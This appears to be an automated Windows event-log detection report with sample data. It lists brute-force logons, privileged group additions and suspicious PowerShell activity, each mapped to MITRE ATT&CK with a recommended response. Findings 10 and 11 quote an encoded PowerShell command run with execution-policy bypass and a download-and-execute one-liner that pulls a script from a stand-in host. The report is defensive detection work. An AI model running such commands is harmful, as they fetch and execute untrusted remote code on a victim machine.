

Windows Event Log Detection Report

Generated: 2026-06-06 15:58:16 UTC

Executive Summary

- * Events analyzed: 14
- * Rules loaded: 4
- * Findings generated: 11
- * Critical findings: 2
- * High findings: 3
- * Medium findings: 6

Detection Findings

Finding 1: Possible Brute Force Followed By Successful Logon

- * Rule ID: win-bruteforce-001
- * Severity: High
- * Summary: 5 failed logons followed by a successful logon.
- * Timestamp: 2026-06-06T08:01:10Z
- * Hostname: DC-01
- * Username: j.smith
- * Source IP: 203.0.113.44
- * Process: -
- * Command Line: -
- * Target User: j.smith
- * Group Name: -
- * Related Event IDs: 4624, 4625
- * Related Event Count: 6
- * MITRE ATT&CK: Credential Access - T1110 Brute Force
- * Recommended Action: Review authentication logs, validate the source IP, and consider password reset or account lockout.

Finding 2: Windows Failed Logon

- * Rule ID: win-failedlogon-001
- * Severity: Medium
- * Summary: Failed Windows logon event detected.
- * Timestamp: 2026-06-06T08:01:10Z
- * Hostname: DC-01
- * Username: j.smith
- * Source IP: 203.0.113.44
- * Process: -

- * Command Line: -
- * Target User: j.smith
- * Group Name: -
- * Related Event IDs: 4625
- * Related Event Count: 1
- * MITRE ATT&CK: Credential Access - T1110 Brute Force
- * Recommended Action: Check whether the failure is isolated or part of a larger authentication pattern.

Finding 3: Windows Failed Logon

- * Rule ID: win-failedlogon-001
- * Severity: Medium
- * Summary: Failed Windows logon event detected.
- * Timestamp: 2026-06-06T08:01:34Z
- * Hostname: DC-01
- * Username: j.smith
- * Source IP: 203.0.113.44
- * Process: -
- * Command Line: -
- * Target User: j.smith
- * Group Name: -
- * Related Event IDs: 4625
- * Related Event Count: 1
- * MITRE ATT&CK: Credential Access - T1110 Brute Force
- * Recommended Action: Check whether the failure is isolated or part of a larger authentication pattern.

Finding 4: Windows Failed Logon

- * Rule ID: win-failedlogon-001
- * Severity: Medium
- * Summary: Failed Windows logon event detected.
- * Timestamp: 2026-06-06T08:02:02Z
- * Hostname: DC-01
- * Username: j.smith
- * Source IP: 203.0.113.44
- * Process: -
- * Command Line: -
- * Target User: j.smith
- * Group Name: -
- * Related Event IDs: 4625
- * Related Event Count: 1
- * MITRE ATT&CK: Credential Access - T1110 Brute Force

* Recommended Action: Check whether the failure is isolated or part of a larger authentication pattern.

Finding 5: Windows Failed Logon

- * Rule ID: win-failedlogon-001
- * Severity: Medium
- * Summary: Failed Windows logon event detected.
- * Timestamp: 2026-06-06T08:02:41Z
- * Hostname: DC-01
- * Username: j.smith
- * Source IP: 203.0.113.44
- * Process: -
- * Command Line: -
- * Target User: j.smith
- * Group Name: -
- * Related Event IDs: 4625
- * Related Event Count: 1
- * MITRE ATT&CK: Credential Access - T1110 Brute Force
- * Recommended Action: Check whether the failure is isolated or part of a larger authentication pattern.

Finding 6: Windows Failed Logon

- * Rule ID: win-failedlogon-001
- * Severity: Medium
- * Summary: Failed Windows logon event detected.
- * Timestamp: 2026-06-06T08:03:15Z
- * Hostname: DC-01
- * Username: j.smith
- * Source IP: 203.0.113.44
- * Process: -
- * Command Line: -
- * Target User: j.smith
- * Group Name: -
- * Related Event IDs: 4625
- * Related Event Count: 1
- * MITRE ATT&CK: Credential Access - T1110 Brute Force
- * Recommended Action: Check whether the failure is isolated or part of a larger authentication pattern.

Finding 7: Windows Failed Logon

- * Rule ID: win-failedlogon-001

- * Severity: Medium
- * Summary: Failed Windows logon event detected.
- * Timestamp: 2026-06-06T11:20:16Z
- * Hostname: VPN-01
- * Username: r.patel
- * Source IP: 198.51.100.88
- * Process: -
- * Command Line: -
- * Target User: r.patel
- * Group Name: -
- * Related Event IDs: 4625
- * Related Event Count: 1
- * MITRE ATT&CK: Credential Access - T1110 Brute Force
- * Recommended Action: Check whether the failure is isolated or part of a larger authentication pattern.

Finding 8: Privileged Group Membership Change

- * Rule ID: win-privilege-001
- * Severity: Critical
- * Summary: User m.chen was added to privileged group Administrators.
- * Timestamp: 2026-06-06T10:44:08Z
- * Hostname: DC-01
- * Username: admin.temp
- * Source IP: 10.10.5.20
- * Process: -
- * Command Line: -
- * Target User: m.chen
- * Group Name: Administrators
- * Related Event IDs: 4732
- * Related Event Count: 1
- * MITRE ATT&CK: Persistence - T1098 Account Manipulation
- * Recommended Action: Confirm the change was approved, review the actor account, and remove unauthorized privileged access immediately.

Finding 9: Privileged Group Membership Change

- * Rule ID: win-privilege-001
- * Severity: Critical
- * Summary: User m.chen was added to privileged group Domain Admins.
- * Timestamp: 2026-06-06T10:47:33Z
- * Hostname: DC-01
- * Username: admin.temp
- * Source IP: 10.10.5.20

- * Process: -
- * Command Line: -
- * Target User: m.chen
- * Group Name: Domain Admins
- * Related Event IDs: 4728
- * Related Event Count: 1
- * MITRE ATT&CK: Persistence - T1098 Account Manipulation
- * Recommended Action: Confirm the change was approved, review the actor account, and remove unauthorized privileged access immediately.

Finding 10: Suspicious PowerShell Execution

- * Rule ID: win-powershell-001
- * Severity: High
- * Summary: Suspicious PowerShell behavior detected in process or script block logs.
- * Timestamp: 2026-06-06T09:12:21Z
- * Hostname: HR-WS-022
- * Username: a.johnson
- * Source IP: -
- * Process: powershell.exe
- * Command Line: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFaFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAKQA=
- * Target User: -
- * Group Name: -
- * Related Event IDs: 4688
- * Related Event Count: 1
- * MITRE ATT&CK: Execution - T1059.001 PowerShell
- * Recommended Action: Collect the full command line, review parent process activity, and check endpoint telemetry for downloaded payloads.

Finding 11: Suspicious PowerShell Execution

- * Rule ID: win-powershell-001
- * Severity: High
- * Summary: Suspicious PowerShell behavior detected in process or script block logs.
- * Timestamp: 2026-06-06T09:12:24Z
- * Hostname: HR-WS-022
- * Username: a.johnson
- * Source IP: -
- * Process: powershell.exe
- * Command Line: IEX (New-Object Net.WebClient).DownloadString('hxxp://example-update.local/a.ps1')
- * Target User: -
- * Group Name: -

- * Related Event IDs: 4104
- * Related Event Count: 1
- * MITRE ATT&CK: Execution - T1059.001 PowerShell
- * Recommended Action: Collect the full command line, review parent process activity, and check endpoint telemetry for downloaded payloads.
